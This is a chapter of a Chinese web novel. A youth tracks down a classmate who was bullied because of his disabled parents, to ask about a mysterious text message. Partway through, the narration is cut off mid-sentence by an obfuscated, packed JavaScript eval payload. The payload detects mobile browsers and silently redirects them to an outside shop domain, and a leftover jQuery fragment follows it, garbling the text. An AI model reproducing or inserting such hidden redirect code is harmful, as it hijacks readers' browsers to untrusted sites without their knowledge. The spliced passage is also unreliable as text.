“林雾十七岁,在一中上学,学习成绩挺好的……”罗良不知道秦卫东为什么打听林雾,他以为两人有矛盾,全都事无巨细的说了起来。
飘香阁门口,秦卫东找了个靠边的台阶坐下,认真听着。
半小时后,他了解了林雾的基本情况:父亲残疾,母亲智障,父亲在他高一那年去世,现在带着母亲生活,母亲在食堂包包子,一个月工资九百,林雾学习成绩挺好,从小到大都是尖子生……
“他这个人平常阴沉沉的,也不合群,高一的时候差点杀人了……”罗良越说越来劲儿。
“杀人了?”秦卫东抓住重点。
“就是高一寒假,他跟院里一个人起争执,我们到的时候林雾拿着刀,那个人摔在了地上。”
“见血了?”
“没有,那个人是吓的摔在了地上。”
秦卫东有些意外,算了算对方当时的年龄后问:“他进少管所了?”按罗良描述,林雾虽然没杀人,但属于威胁恐吓,这种按规定是需要拘留处理的。
“没有,公安局做完笔录就出来了。”
“为什么?”
“刀子不是林雾的,是那个人带过去的……”
秦卫东懂了,这是对方带着刀子准备恐吓,被林雾‘反杀’了。
“他都没杀人,你干嘛说他杀人?”
“我们到的时候林雾表情挺恐怖的,不是疯狂扭曲,是那种面无表情的冷静,就像电影里的变态杀人狂,他们家本来就不正常,我们感觉他遗传了他妈,是个潜在的精神病……”
秦卫东皱眉:“他妈不是智力障碍吗?”
“都一样。”
“智力障碍是智力障碍,精神病是精神病,再说了,精神病也不一定遗传。”秦卫东纠正。
“……哦。”罗良听的有点晕了,问:“秦哥,我们要找人打他一顿吗?”
“你们以前经常打他?”
“小时候闹过几次矛盾,不过他还手挺狠的,也没吃亏。后来年纪大了,我们开始井水不犯河水。”
“你们都闹过什么矛盾?”
“这个要说吗?”罗良不知道秦卫东为什么要打听这些。
“嗯,都说说。”秦卫东换了个姿势道。
“其实最开始都是小事……”
罗良跟林雾没有直接矛盾,是他们这伙人跟林雾有矛盾。具体原因大概是林雾父亲瘸子,母亲智障,他们家在钢厂没权没势,很多小孩看不起他们,大家喜欢跟着林海明学走路。林海明老实,只会做一些驱赶的手势,引的大家哈哈大笑。
后来大家感觉学走路不过瘾,喜欢用石子砸罗晓蓉,或者把她带马路上看她出丑,又或者骗她吃一些地上捡的辣条……
罗晓蓉不会表达,他们越来越过分,这些事情就被林雾发现了。
林雾不怂,直接上手打人。他打人非常阴,都是照着外人看不见的地方打,也弄不出伤口,被打的小孩告诉大人,大人知道是自家孩子欺负人,又把孩子打了一顿。这些事情一来二去,他们跟林雾父母的矛盾变成了跟林雾间的矛盾,双方一直你来我往,直到初中后才有所缓解。
“我们初中后都不联系的,就是赵奇没事的时候喜欢逗两下……”赵奇是跟林雾动刀子的那个人,事情发生没多久,他就跟父母因工作搬到外地了。
“你们真不是东西。”秦卫东虽是刺头,但非常鄙视这种恃强凌弱的恶意行为。
“他们不是,我是!不是,我也不能说是东西,我就是跟在他们后面看热闹。”罗良越说越乱,最终道:“他惹你了?我找人帮你打回来?”
“滚,谁说我要打人了?”秦卫东皱眉:“我只是找你了解一些情况,你别给我乱来,我的事情你别插手,也别想着打人。”
罗良见秦卫东说的严肃,连忙保证:“我绝不插手!”
“嗯。”秦卫东没了聊天的心思,他说了两句话挂断电话。
现在九点十分,秦卫东刚刚起身,胡伟从饭店里出来了,见到他后道:“秦哥,怎么不进去啊?给你打电话没打通。”
“刚打了一个电话,这就进去。”
秦卫东拍了拍身上的灰尘,跟着胡伟一起楼上唱歌,大家从九点玩到了晚上十一点,秦卫东给门岗塞了两包烟,才带着胡伟偷偷回宿舍。
今天高明明有事回家,胡伟跟高明明说了一声,睡在了他的床铺。秦卫东跟高明明上下铺,现在跟胡伟上下铺,宿舍其他两人在隔壁宿舍打牌,屋子里只有秦卫东和胡伟两人。
“猴儿。”秦卫东躺在床上,突然喊了胡伟外号。
“怎么了?”胡伟正在玩推箱子,听到后抬头。
“你说一个人从小到大一直被欺负,这些人欺负他和他的父母。然后出现一个陌生人,陌生人跟他说,你妈三个月后死了……这是不是挑衅?”秦卫东组织了一下语言问。
“当然啊。”胡伟回到的不假思索。
“这个陌生人不知道他家里的事情,他只是帮人带话。”
“哪有带话带父母死的啊,要是有人这么说我爸,我第一个削他!”胡伟经常被他爸打,但他爱他爸,他爸也爱他,他绝不允许有人攻击他爸。
“这个陌生人不知道,他以为自己是助人为乐。”
“哪有助人为乐说别人父母死的。”胡伟非常不屑:“这人要么脑抽要么脑瘫,绝没有第二种可能。”
胡伟说完,上铺没动静了。
“秦哥?”胡伟喊了一声。
“呵。”秦卫东冷呵,接着冷笑:“睡觉!”
胡伟:怎么突然这么冷了?
……
上学,放学,接罗晓蓉回家。
林雾高中时期的生活非常简单,罗晓蓉换工作后,他不用接送,只有上学放学两点一线,他非常满意现在的状态,也不想有任何变化。
只是第二天放学,他刚出校门,就感觉有人跟着自己。现在八点三十五,学校门口都是熙熙攘攘的高三学生,他走了两步,猛然转身——
身后五米开外的地方,一个高个少年松散的跟着他。今天天气有点儿凉,少年穿着一件红夹克,浅蓝牛仔裤,头上戴着一顶白色鸭舌帽,因宽肩窄腰身量修长,在一群高中校服里非常显眼。
林雾认出来,这是前几天巷子里的那个人。
他往前走,对方跟着往前走,他停下,对方跟着停下。林雾看过去时,对方丝毫不掩饰自己的行踪,直接朝他笑了笑。
林雾:……
林雾非常想问对方为什么跟着自己,只是这条路不是他一个人的,他要这么问,显得自己有些自作多情。
林雾忍着不适,像往常一样走到公交站牌,对方跟着走到站牌。
林雾上车,对方跟着上车。
林雾下车,对方跟着下车。
林雾走进小区大门,对方在后面跟着,他走了一百米,终于忍不住的回头问:“你是不是跟着我?”
“你刚发现?”秦卫东语气惊奇,仿佛意外林雾为什么刚刚发现。
“有事?”林雾皱眉。
“有!”秦卫东直接拿出手机。
他昨天想清楚了,他最开始的目的是查出陌生号码,现在的线索只有林雾,他没必要因为一场不愉快的沟通半途而废。
“你认不认识这个号码?”秦卫东很快翻出陌生号码——他换手机了,之前的聊天记录在旧手机里,SIM卡上只有之前保存的手机号。
“不认识。”林雾看了一眼道。
“你再仔细看看!”秦卫东对他的敷衍态度非常不满。
“真的不认识。”林雾的人际关系非常简单,除了王满山和郝淑芹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020483|148490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,他不认识其他号码,这个号码除了跟他生日日期相同,也没有什么特别的。
“你再想想。”秦卫东认真盯着林雾表情。
“不认识。”林雾非常肯定。
“前几天就是这个号码给我发短信,让我给你传话的。”秦卫东说起巷子里的事情。
林雾意外的看向他:“谢谢,我知道了。”
“就没了?”
“没有了。”经过上次的不愉快后,林雾自动跟对方保持距离,他不介意那段话是谁说的,面前少年也好,其他人也行,他都不在乎,他不想将精力放在这些无意义的事情。当然对方要是得寸进尺的继续骚扰,他不介意硬刚下去。
“我现在要回家了,你还有其他事情吗?”林雾问。
“没有了……”
“再见。”林雾头也不回的离开。
秦卫东看着对方背影,总感觉事情有些违和,他想了又想,终于知道违和点在哪儿了!
他大晚上的跟过来,是想证明自己助人为乐的高贵品质。但是刚刚,对方全程都在敷衍,是在打发他!
“靠!”秦卫东感觉事情不能这么过去,他不能被人误会,他是助人为乐,高风亮节的五好青年!
秦卫东直接跟了过去。
林雾不知道秦卫东跟了过来,26号楼,他刚走到楼下,就见罗晓蓉在台阶上坐着。罗晓蓉见到他,开心的上前:“雾雾!”
“妈,你怎么下来?下面冷。”
罗晓蓉穿着一套冬款睡衣,林雾第一反应就是帮她紧紧了领口。
“不冷的。”罗晓蓉呼着哈气道。她以前都是跟林雾一起回家,现在自己一个人呆在房间里有些不习惯,她喜欢在楼下等着。
“那我给你定个闹钟,你以后听到闹钟了再下来。”林雾知道罗晓蓉有时候非常执拗,他没在这个问题上纠缠,跟她说了两句后,牵着罗晓蓉上楼。
秦卫东过来时,看到的就是林雾帮罗晓蓉紧衣服和上楼的画面。
他看着筒子楼外墙上的窗户,不一会儿,三楼的窗户亮了。
他虽想说清楚,但还没有直接敲人家大门的癖好,他要真敲了,完全就是跟踪狂和骚扰犯了。
秦卫东找了个背风的地方站着,拿出手机,准备问问胡伟在哪儿。
他准备拨号,12号楼的走道里传来一道脚步声,秦卫东回头。
钢厂家属院有90%居民都是钢厂职工,这里在建房时,每栋楼下面都有一排水管,居民们可以用水洗菜洗衣服,这些水费钢厂支付,算是家属院的职工福利。
秦卫东回头时,就见林雾换上了睡衣,端着一大盆衣服下来。
他下来后从旁边的花坛里拿出一个搓衣板,然后用水盆接水,坐在水管旁的石头上开始洗衣服,这些衣服有他的秋衣秋裤,也有罗晓蓉的外套裤子。
林雾戴着橡胶手套,洗的非常熟练。
秦卫东在阴影里看了一会儿,感觉现在不是解释的好时机——他空口白牙,就算再三保证自己说的是真的,太难让人信服了。
秦卫东走到家属院门口,正好胡伟的电话打过来了。
“秦哥,我现在在旋风台球厅,你在哪儿?一晚上没见到你了,你一会儿过来吗?”胡伟那边有点吵,他喊着嗓子问。
“刚才有点事,不过去了。”秦卫东随口说了两句,问:“手机大厦能修手机吗?”
“你手机坏了?!”胡伟换了个安静的地方,震惊的问——秦卫东刚换了新手机,才一个星期!
“没坏,我想把之前那个修一下,当备用机。”他之前没想过修手机,刚才突然想,旧手机里有他和陌生号码的聊天记录,他把手机修好了,总能证明自己是个好人了吧?
他现在不仅有恶作剧别人的嫌疑,而且越描越黑,他要为自己正名!